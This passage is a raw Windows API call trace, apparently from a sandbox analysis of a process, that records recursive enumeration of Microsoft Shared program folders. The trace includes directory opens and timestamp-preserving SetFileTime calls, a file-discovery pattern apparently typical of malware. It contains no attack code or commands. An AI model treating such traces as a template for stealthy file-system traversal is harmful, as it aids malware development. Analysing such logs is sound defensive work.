nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.042] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.042] GetLastError () returned 0x12 [0144.042] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.042] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0144.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.043] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.043] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.043] NtClose (Handle=0x198) returned 0x0 [0144.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.043] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.044] GetLastError () returned 0x12 [0144.044] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.044] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.044] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.045] GetLastError () returned 0x12 [0144.045] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.045] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0144.045] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.068] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.068] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.068] NtClose (Handle=0x1a4) returned 0x0 [0144.068] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.069] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.069] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.069] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.070] GetLastError () returned 0x12 [0144.070] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.070] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.070] GetLastError () returned 0x12 [0144.070] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.070] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0144.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.071] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.071] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.071] NtClose (Handle=0x198) returned 0x0 [0144.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.072] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.073] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.073] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0144.073] GetLastError () returned 0x12 [0144.073] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.073] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.073] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.073] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0144.074] GetLastError () returned 0x12 [0144.074] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.074] GetLastError () returned 0x12 [0144.074] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.081] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.081] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.083] GetLastError () returned 0x12 [0144.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.083] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.083] GetLastError () returned 0x12 [0144.083] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.085] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.085] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.086] GetLastError () returned 0x12 [0144.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.086] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.087] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.087] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.089] GetLastError () returned 0x12 [0144.089] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.089] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.089] GetLastError () returned 0x12 [0144.089] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.089] GetLastError () returned 0x12 [0144.089] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0144.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.091] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, 